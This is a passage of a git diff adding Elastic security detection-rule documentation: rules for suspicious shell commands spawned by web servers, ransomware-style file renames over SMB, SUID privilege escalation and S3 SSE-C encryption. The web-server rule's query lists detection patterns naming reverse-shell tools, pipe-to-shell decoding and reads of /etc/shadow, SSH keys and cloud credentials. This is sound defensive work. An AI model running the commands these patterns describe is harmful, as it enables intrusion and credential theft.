be explained, isolate the host, preserve relevant volatile and disk evidence, rotate secrets accessible to the web service, and remediate the vulnerable application or remove any discovered web shell before restoring service. + + +*False positive analysis* + + +- A legitimate web administration or diagnostics function may invoke `sh -c` to run commands such as `id`, `whoami`, `hostname`, or read OS metadata for status pages; verify the command matches documented application behavior and correlate it to an authorized request in web or application logs. +- A normal application workflow may use the web server to unpack user uploads or stage temporary content under `/tmp`, `/var/tmp`, or `/dev/shm` during import, conversion, or update operations; verify the execution aligns with a known user action or scheduled maintenance window and that the created files are expected temporary artifacts owned by the service account. + + +*Response and remediation* + + +- Isolate the affected web server from the network or remove it from the load balancer immediately, preserve a forensic snapshot if possible, and block the attacker-controlled IPs, domains, and downloaded payload locations observed in the command chain. +- Hunt for and remove persistence by deleting web shells and dropped scripts in the document root, uploads, `/tmp`, `/var/tmp`, and `/dev/shm`, and by cleaning unauthorized cron entries, systemd services, startup scripts, SSH `authorized_keys`, and any attacker-created local accounts. +- Reset trust on the host by rotating application secrets, database passwords, API tokens, cloud credentials, and SSH keys that were present or reachable from the web server, and invalidate active sessions tied to the compromised application. +- Rebuild or reimage the server from a known-good source, patch the exploited web application or server component, restore only validated content and configurations, and verify no unauthorized binaries, modified packages, or backdoored application files remain before returning it to service. +- Escalate to incident response immediately if the shell command opened a reverse shell, downloaded or piped a payload into an interpreter, accessed sensitive files such as `/etc/shadow`, `.ssh`, or cloud credential stores, or if similar activity is found on additional hosts. +- Harden the environment by removing unnecessary shell execution from the application, disabling write and execute permissions in web-accessible upload and temp paths, enforcing least privilege for the web service account, enabling WAF or virtual patching for the exploited weakness, and increasing monitoring on web roots and startup locations. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.parent.name in ( + "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne", "httpd.worker", "flask", + "php-cgi", "php-fcgi", "php-cgi.cagefs", "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman", + "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm" + ) or + process.parent.name like ("php-fpm*", "lsphp*", "gunicorn*", "*.cgi", "*.fcgi") or + ( + process.parent.name like "ruby*" and + process.parent.command_line like~ ("*puma*", "*rails*", "*passenger*") + ) or + ( + process.parent.name like "python*" and + process.parent.command_line like~ ( + "*hypercorn*", "*flask*", "*uvicorn*", "*django*", "*app.py*", "*server.py*", "*wsgi.py*", "*asgi.py*" + ) + ) or + (process.parent.name like "perl*" and process.parent.command_line like~ "*plackup*") or + ( + process.parent.name == "java" and ( + process.parent.args like~ ( + /* Tomcat */ + "org.apache.catalina.startup.Bootstrap", "-Dcatalina.base=*", + + /* Jetty */ + "org.eclipse.jetty.start.Main", "-Djetty.home=*", + + /* WildFly / JBoss */ + "org.jboss.modules.Main", "-Djboss.home.dir=*", + + /* WebLogic */ + "weblogic.Server", "-Dweblogic.Name=*", "*weblogic-launcher.jar*", + + /* WebSphere traditional + Liberty */ + "com.ibm.ws.runtime.WsServer", "com.ibm.ws.kernel.boot.cmdline.Bootstrap", + + /* GlassFish */ + "com.sun.enterprise.glassfish.bootstrap.ASMain", + + /* Resin */ + "com.caucho.server.resin.Resin", + + /* Spring Boot */ + "org.springframework.boot.loader.*", + + /* Quarkus */ + "*quarkus-run.jar*", "io.quarkus.runner.GeneratedMain", + + /* Micronaut */ + "io.micronaut.runtime.Micronaut", + + /* Dropwizard */ + "io.dropwizard.cli.ServerCommand", + + /* Play */ + "play.core.server.ProdServerStart", + + /* Helidon */ + "io.helidon.microprofile.server.Main", "io.helidon.webserver*", + + /* Vert.x */ + "io.vertx.core.Launcher", + + /* Keycloak */ + "org.keycloak*", + + /* Apereo CAS */ + "org.apereo.cas*", + + /* Elasticsearch */ + "org.elasticsearch.bootstrap.Elasticsearch", + + /* Atlassian / Gerrit */ + "com.atlassian.jira.startup.Launcher", "*BitbucketServerLauncher*", "com.google.gerrit.pgm.Daemon", + + /* Solr */ + "*-Dsolr.solr.home=*", + + /* Jenkins */ + "*jenkins.war*" + ) or + ?process.working_directory like "/u0?/*" + ) + ) +) and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh", "busybox") and +process.args in ("-c", "-cl", "-lc") and ( + process.command_line like~ ( + + /* Suspicious Paths */ + "* /tmp/* ", "* /var/tmp/* ", "* /dev/shm/*", "* /run/*", "* /var/run/*", + + /* Encoding, Decoding & Piping */ + "*|sh", "*| sh *", "*| sh ", "*|bash*", "*| bash*", "*|zsh*", "*| zsh*", "*|dash*", "*| dash*", + "*|python*", "*| python*", "*|php*", "*| php*", "*|perl*", "*| perl*", "*|ruby*", "*| ruby*", + "*|node*", "*| node*", "*|lua*", "*| lua*", "*|busybox*", "*| busybox*", "*|*base64 -d*", "*|*base64 --decode*", + "*|*base64 --decode*", "*|*openssl base64 -d*", "*xxd *", "*| openssl*enc * -d *", "*b64decode -r*", + + /* Interpreter Execution */ + "*python -c*", "*python3 -c*", "*php -r*", "*perl -e*", "*ruby -e*", "*lua -e*", "*node -e *", + + /* Reverse Shells */ + "*netcat *", "* nc *", "*ncat *", "*/dev/tcp*", "*/dev/udp/*", "*socat *", "*openssl*s_client *", "*stty*raw*-echo*", + "*mkfifo /tmp/*", + + /* File Access */ + "*>*/etc/cron*", "*crontab*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*", "*~/.ssh/*", "*/etc/shadow*", + "*/etc/passwd*", "*/etc/master.passwd*", + + /* Enumeration & Discovery */ + "*/etc/hosts*", "*/etc/resolv.conf*", "*/etc/hostname*", "*/etc/issue*", "*/etc/os-release*", "*lsb_release*", + "*/proc/*/environ*", "*sudo -l*", "*/proc/*/cgroup*", "*dockerenv*", "*/proc/*/mountinfo*", "*printenv*", + "*cat*.env *", "*getcap*", "*capsh*", "*find / *", "*netstat *", + + /* AWS Credentials */ + "*aws_access_key_id*", "*aws_secret_access_key*", "*aws_session_token*", "*accesskeyid*", "*secretaccesskey*", + "*.aws/credentials*", "*/.aws/config*", + + /* Azure Credentials */ + "*AZURE_CLIENT_ID*", "*AZURE_TENANT_ID*", "*AZURE_CLIENT_SECRET*", "*AZURE_FEDERATED_TOKEN_FILE*", + "*IDENTITY_ENDPOINT*", "*IDENTITY_HEADER*", "*MSI_ENDPOINT*", "*MSI_SECRET*", "*/.azure/*", + "*/run/secrets/azure/*", + + /* GCP Credentials */ + "*/.config/gcloud/*", "*application_default_credentials.json*", "*type: service_account*", + "*client_email*", "*private_key_id*", "*/run/secrets/google/*", "*GOOGLE_APPLICATION_CREDENTIALS*", + + /* Misc. Cloud */ + "*/.docker/config.json*", "*/.npmrc*", "*/secrets/kubernetes.io/serviceaccount/*", + + /* Helpers */ + "*timeout *sh -c *", "*env *sh *-c*", "*exec -a*", + + /* Miscellaneous */ + "*chattr *", "*busybox *", "*#!*", "*chmod +x *", "*chmod 777*", "*chpasswd*", + "**", "*kworker*", + + /* Decompression */ + "*gzip -*d *", "*bzip2 -*d *", "*xz -*d *", "*tar -*x*", + + /* Path Traversal */ + "*../../../*etc/*", "*/.../*", "*../../../*home/*/*", "*../../../*root/*", + + /* File Upload/Download */ + "*pastebin.com*", "*transfer.sh*", "*bashupload.com*", + + /* Enumeration & Discovery */ + "* id *", "* whoami *", "* hostname *" + ) or + /* Keep this to not miss FNs due to spacing */ + process.args in ("id", "whoami", "hostname") +) and +not ( + ( + process.parent.name == "nginx" and + process.args like ("chmod 777 /etc/resty-*", "resty*") + ) or + ( + process.parent.name == "apache2" and ( + process.command_line in ( + "sh -c /usr/local/bin/php -r 'echo phpversion();'", "sh -c -- /usr/local/bin/php -r 'echo phpversion();'", + "sh -c /usr/bin/php -r 'echo phpversion();'", + "sh -c /usr/bin/lsb_release -a 2>/dev/null" + ) or + process.args like ( + """bash -c "( /home/*/apps/richdocumentscode/collabora/Collabora_Online.AppImage*""", + "chmod 777 /etc/cobra/uploads/mysql*", "stat*" + ) or + process.command_line like ( + "*/usr/bin/crontab*phpupdatecrontab.txt", "*mysqldump*/var/www/html/*/writable/uploads/backup/mysql*", + "sh -c chmod 777 -R /opt/data/www/php_upload/*/temp" + ) + ) + ) or + ( + process.parent.name like "php-fpm*" and ( + process.command_line in ( + "sh -c /usr/bin/php -r 'echo phpversion();'", "sh -c -- /usr/bin/php -r 'echo phpversion();'", + "sh -c php -r 'print_r(phpversion());'", "sh -c chattr -i -a /usr/local/virtualizor/license2.php", + "sh -c source /etc/os-release 2>/dev/null && echo $ID $ID_LIKE", + "sh -c php -r \"echo date('T');\"", + "sh -c php -r \"echo PHP_VERSION;\"" + ) or + process.command_line like ( + "*var_export*extension_loaded*", "*/tmp/tmp_resize*", "*/v1/objects/hosts/*_Infoterminal*", "*python -m json.tool*", + "sh -c timeout 3600 ssh -o ControlMaster=auto -o ControlPath=/var/www/html/storage/app/ssh/mux/*" + ) or + process.args like ("ps*|*grep*", "ffmpeg*") + ) + ) or + ( + process.parent.name == "php-cgi" and ( + process.command_line like ( + "sh -c nohup php /home/*/public_html/lockindex.php index.php >/dev/null 2>&1 &", + "sh -c nohup php /home/*/public_html/wp-content/* >> /dev/null 2>&1 &", + "sh -c nohup php /home/*/public_html/wp-includes/* >> /dev/null 2>&1 &", + "sh -c nohup php /home/*/public_html/*/wp-content/* >> /dev/null 2>&1 &", + "*-ef|grep*" + ) or + process.args like "ps*| grep*" + ) + ) or + ( + process.command_line == "/bin/sh -c echo | openssl s_client -connect localhost:61617 2>/dev/null | openssl x509 -noout -enddate" and + process.parent.name == "gunicorn" + ) or + ( + process.parent.executable == "/usr/local/bin/gunicorn" and + process.command_line == "/bin/sh -c echo 'Q' | openssl s_client -connect localhost:61617 2>/dev/null | openssl x509 -noout -enddate" + ) or + ( + process.parent.executable == "/opt/bitnami/apache/bin/httpd" and + process.command_line == "sh -c /opt/bitnami/php/bin/php -r 'echo phpversion();'" + ) or + ( + process.parent.executable like "/var/lib/containers/storage/overlay/*/merged/usr/local/sbin/php-fpm" and + process.command_line == "sh -c /usr/local/bin/php -r 'echo phpversion();'" + ) or + ( + process.parent.executable like "/var/lib/docker/overlay2/*/merged/usr/sbin/uwsgi" and + process.command_line == "/bin/sh -c { touch /run/uwsgi-logrotate }" + ) or + (process.parent.name like "python*" and process.parent.command_line like "*hive_server.py*") or + (process.parent.name == "sw-engine-fpm" and process.command_line like ("*/opt/psa/admin/bin/*", "*/usr/local/psa/admin/*")) or + (process.parent.name == "httpd" and process.command_line like ("*/datastore/htdocs/control-states/compass*", "*/dev/shm/netmon-log*")) or + (process.parent.name == "asterisk" and process.args like "/bin/chmod 777 */gravacoes/*.WAV") or + (process.parent.name == "nginx" and process.command_line like "sh -c gcc -print-multiarch 2>/dev/null > /tmp/lua_*") or + (process.parent.name == "varnishd" and process.args like "exec gcc*") or + (process.parent.name == "zabbix_server" and process.command_line like "*/usr/sbin/sendmail*") or + (process.parent.executable == "/opt/morpheus/embedded/java/jre/bin/java" and process.command_line like "*morpheus-local*") or + ( + process.parent.name == "ruby" and + process.command_line in ( + "sh -c echo \"^d\" | openssl s_client -connect 127.0.0.1:443 2>&1", + "sh -c cat /etc/hosts.allow 2>/dev/null" + ) + ) or + (process.parent.name == "java" and process.args like "chmod 777 *.csv") or + process.command_line == "sh -c node -v || nodejs -v" or + process.working_directory like ("/var/lib/puppet/rack/puppetmasterd", "/u01/app/*/sysman/emd") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-file-renamed-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-file-renamed-via-smb.asciidoc new file mode 100644 index 0000000000..74b0e92b6b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-file-renamed-via-smb.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-28-suspicious-file-renamed-via-smb]] +=== Suspicious File Renamed via SMB + +Identifies suspicious file rename operation by the virtual System process. This may indicate a remote ransomware attack via the SMB protocol. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious File Renamed via SMB* + + +*Possible investigation steps* + + +- What do the Timeline member events show for the SMB-to-rename sequence? + - Focus: use `host.id` as target context; open Investigate in Timeline to recover accepted SMB `source.ip`, rename-event `user.id`, and representative renamed `file.path`. + - Implication: escalate on one remote SMB source followed by repeated high-entropy user-file renames; lower concern only when member events show one bounded remote file-management job with stable source, account, path, and extension mapping. Missing member events are unresolved, not benign. +- Does the recovered source/account pair fit a recognized remote file-management workflow? + - Focus: recovered `source.ip`, `user.id`, `user.name`, and `user.domain`. + - Implication: escalate when a rare source or privileged account remotely renames user data; lower concern when the same source/account pair recurs as a backup, migration, DLP, or conversion actor for this exact share. +- Do rename artifacts look like encryption instead of content conversion? + - Focus: same target host, SMB-server context, alert window, and recovered `user.id`: `file.Ext.original.extension`, `file.extension`, `file.Ext.entropy`, and `file.size`. + - Implication: escalate when common documents or images move to one unfamiliar high-entropy extension family across many paths; lower concern when before/after extensions and file sizes match a recognized converter, archive, or quarantine workflow. +- How far did the rename burst spread on the target host? + - Focus: file rename events from the same target host, SMB-server context, recovered `user.id`, and surrounding window; compare `file.path` roots and `file.Ext.original.extension` families. + - Implication: escalate when the burst crosses user profiles, share roots, or document families; lower urgency when it stays a short bounded task in one managed folder with stable extension mapping. +- Did the target receive ransom-note or payload files around the rename burst? + - Why: SMB ransomware may run from the remote source while leaving note or helper files on the target share, making target-side file artifacts decisive corroboration. + - Focus: file events on the same `host.id` around the rename window: repeated `file.name`, `file.path`, or `file.extension` patterns for note-like files, scripts, or executables. !{investigate{"description":"","label":"Recent file activity on this host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when repeated note-like names or executable/script drops appear in impacted paths; lower concern when file activity stays limited to the explained rename workflow. +- Did recovery inhibition or destructive behavior align with the rename burst? + - Focus: related alerts on the same `host.id` around the rename window naming recovery inhibition, destructive file activity, or ransomware notes. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate and prioritize containment when these alerts align; absence reduces urgency only after source/account and rename evidence fit one exact workflow. +- If local findings remain suspicious or unresolved, does the same SMB source or account drive similar renames elsewhere? + - Focus: across hosts, look for the same recovered `source.ip` or `user.id` paired with inbound SMB accept events and high-entropy rename bursts using the suspicious `file.extension`. + - Implication: broaden containment when the same source or account drives similar user-file rename bursts on other hosts; keep scope local only when this pivot is quiet and local evidence is otherwise resolved. +- Escalate when SMB source/account, rename shape, target breadth, note/payload artifacts, recovery-inhibition alerts, or cross-host spread show remote encryption or destructive file handling over SMB. Close only when recovered telemetry binds one exact backup, migration, DLP, or conversion job on this host, with owner or change records as corroboration only. Preserve evidence and escalate when telemetry is mixed, incomplete, or contradicted. + + +*False positive analysis* + + +- Backup, migration, DLP quarantine, or document-conversion tooling can rename many files over SMB. Confirm that recovered `source.ip`, `user.id`, managed `file.path` scope, extension mapping, and absence of note/payload or recovery-inhibition evidence all support the same workflow on this host. Use owner confirmation or change records only as corroboration; if unavailable, close only when recovered events independently bind one exact workflow. +- Treat recurrence of the same source/account, folder scope, and extension mapping across prior alerts as candidate tuning evidence, not a standalone benign verdict. Build exceptions from the narrowest stable pattern: recovered `source.ip`, `user.id`, managed `file.path` scope, host cohort, and extension mapping. Do not except on SMB activity, `process.pid` 4, high entropy, rename volume, or one extension alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the source host, account, managed folder scope, and extension mapping that explained the rename burst. Create an exception only after the same bounded pattern recurs. +- If suspicious but unconfirmed, preserve a Timeline export of the sequence member events, representative renamed files, any note or payload files, recovered SMB source/account details, and related alert IDs before containment that could alter evidence. +- Apply reversible containment first: block SMB from the recovered source, suspend the recovered account session, or temporarily restrict write access to the impacted share. Isolate the source or target host only when active renaming or destructive corroborators show ongoing ransomware activity. +- If confirmed malicious, isolate the source and impacted target or file server when the environment can tolerate it, disable and reset the recovered account, and stop active SMB sessions only after recording the source, account, renamed-file set, notes or payloads, and destructive alerts. +- Review other hosts for the same `source.ip`, `user.id`, suspicious extension, or note pattern before restoration so the full ransomware scope is understood. +- Restore renamed or encrypted files only from trusted backups or replicas after scope is complete, and verify backup repositories were not touched by the same source or account. +- Post-incident hardening: restrict remote SMB write paths and administrative shares, require MFA or equivalent controls for remote access and high-privilege accounts, protect backup credentials, and retain file and network telemetry needed to recover future SMB rename sequences. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, file.extension with maxspan=1s + [file where host.os.type == "windows" and + event.action == "rename" and process.pid == 4 and user.id : ("S-1-5-21*", "S-1-12-*") and + file.extension != null and file.Ext.entropy >= 6 and file.path : "C:\\Users\\*" and + file.Ext.original.name : ("*.jpg", "*.bmp", "*.png", "*.pdf", "*.doc", "*.docx", "*.xls", "*.xlsx", "*.ppt", "*.pptx", "*.lnk") and + not file.extension : ("jpg", "bmp", "png", "pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "lnk")] with runs=3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-suid-binary-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-suid-binary-execution.asciidoc new file mode 100644 index 0000000000..58bbca1a59 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-suspicious-suid-binary-execution.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-28-suspicious-suid-binary-execution]] +=== Suspicious SUID Binary Execution + +Detects execution of SUID binaries that may be used for privilege escalation under the root effective user when the real user and parent user are not root, combined with minimal argument counts and suspicious parent context (interpreters, short shell -c invocations, or parents running from user-writable paths) to indicate potential misuse of SUID binaries for privilege escalation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1548/ + +*Tags*: + +* Data Source: Elastic Defend +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious SUID Binary Execution* + + +Confirm whether the non-root real user should be invoking SUID binaries as root. Review the parent process tree, script path, and any preceding download or decode activity. + + +*Possible investigation steps* + + +- Inspect `process.parent.command_line` and working directory for obfuscation or one-liners. +- Check authentication and sudoers policy for the user. +- Pivot on the host for additional privilege escalation or persistence in the same session. + + +*Response and remediation* + + +- If unauthorized, contain the session, revoke elevated access, and review sudoers and polkit policy for tampering. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0" and process.parent.user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0" and process.parent.group.id != "0") +) and +( + (process.name in ("su", "passwd", "unix_chkpwd") and process.args_count <= 2) or + ( + process.name in ("pkexec", "fusermount", "fusermount3", "mount", "umount", "newgrp", "chsh") and + process.args_count == 1 + ) or + process.name in ( + "sudoedit", "gpasswd", "chfn", "polkit-agent-helper-1", "dbus-daemon-launch-helper", "ssh-keysign", + "pam_extrausers_chkpwd", "expiry", "chage", "crontab", "wall", "bsd-write", "ssh-agent", + "ping6", "traceroute", "mtr", "ntfs-3g", "Xorg.wrap", "chrome-sandbox", "bwrap" + ) +) and +( + process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*", "node", "deno", "bun", "java") or + process.parent.executable like ("./*", "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/user/*", "/var/run/user/*", "/home/*/*") or + ( + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh") and + process.parent.args in ("-c", "-cl", "-lc", "--command", "-ic", "-ci", "-bash", "-sh", "-zsh", "-dash", "-fish", "-ksh", "-mksh") and + process.parent.args_count <= 4 + ) +) and +not ( + (process.name == "crontab" and process.args in ("-l", "-e")) or + (process.name in ("passwd", "chsh") and process.args == "--version") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-aws-s3-object-encryption-with-sse-c.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-aws-s3-object-encryption-with-sse-c.asciidoc new file mode 100644 index 0000000000..bf79be30d6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-aws-s3-object-encryption-with-sse-c.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-28-unusual-aws-s3-object-encryption-with-sse-c]] +=== Unusual AWS S3 Object Encryption with SSE-C + +Identifies when AWS S3 objects stored in a bucket are encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a New Terms rule that flags when this behavior is observed for the first time user and target bucket name. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Impact + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual AWS S3 Object Encryption with SSE-C* + + +This rule identifies the use of Server-Side Encryption with Customer-Provided Keys (SSE-C) in AWS S3. This could indicate malicious activity, such as ransomware encrypting objects, rendering them inaccessible without the corresponding encryption keys. + + +*Possible investigation steps* + + +**Identify the user and source**: + - Review the `aws.cloudtrail.user_identity.arn` to identify the IAM user or role performing the operation. + - Cross-check the `source.ip` and `user_agent.original` fields for unusual IPs or user agents that could indicate unauthorized access. + - Review the `aws.cloudtrail.user_identity.access_key_id` to identify the access key used. This could be a compromised key. + +**Examine the targeted resources**: + - Check `aws.cloudtrail.request_parameters` to identify the bucket involved. + - Analyze the object key from `aws.cloudtrail.request_parameters`. + +**Evaluate encryption behavior**: + - Confirm the encryption details in `aws.cloudtrail.request_parameters` and `aws.cloudtrail.additional_eventdata`. + - Note if `SSEApplied` is `SSE-C`, which confirms encryption using a customer-provided key. + +**Correlate with recent events**: + - Look for any suspicious activity in proximity to the encryption event, such as new access key creation, policy changes, or unusual access patterns from the same user or IP. + - Identify `ListBucket` or `GetObject` operations on the same bucket to determine all affected objects. + - For `PutObject` events, identify any other unusual objects uploaded such as a ransom note. + - For `CopyObject` events, determine if existing objects are being re-encrypted in place using SSE-C, a common ransomware workflow that overwrites objects with attacker-controlled keys without uploading new data. + +**Validate access permissions**: + - Check the IAM policies and roles associated with the user to verify if they had legitimate access to encrypt objects. + +**Assess impact**: + - Identify the number of encrypted objects in the bucket by examining other similar events. + - Determine if this encryption aligns with standard business practices or constitutes a deviation. + + +*False positive analysis* + + +- Confirm if SSE-C encryption is part of regular operations for compliance or data protection. +- Cross-reference known processes or users authorized for SSE-C encryption in the affected bucket. + + +*Response and remediation* + + +**Immediate actions**: + - Disable access keys or permissions for the user if unauthorized behavior is confirmed. + - Rotate the bucket's encryption configuration to mitigate further misuse. + +**Data recovery**: + - Attempt to identify and contact the party holding the SSE-C encryption keys if recovery is necessary. + +**Enhance monitoring**: + - Enable alerts for future SSE-C encryption attempts in critical buckets. + - Review and tighten IAM policies for roles and users accessing S3. + +**Post-Incident review**: + - Audit logs for additional activities by the same user or IP. + - Document findings and apply lessons learned to improve preventive measures. + + +==== Setup + + +AWS S3 data event types need to be enabled in the CloudTrail trail configuration. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: ("PutObject" or "CopyObject") + and event.outcome: "success" + and 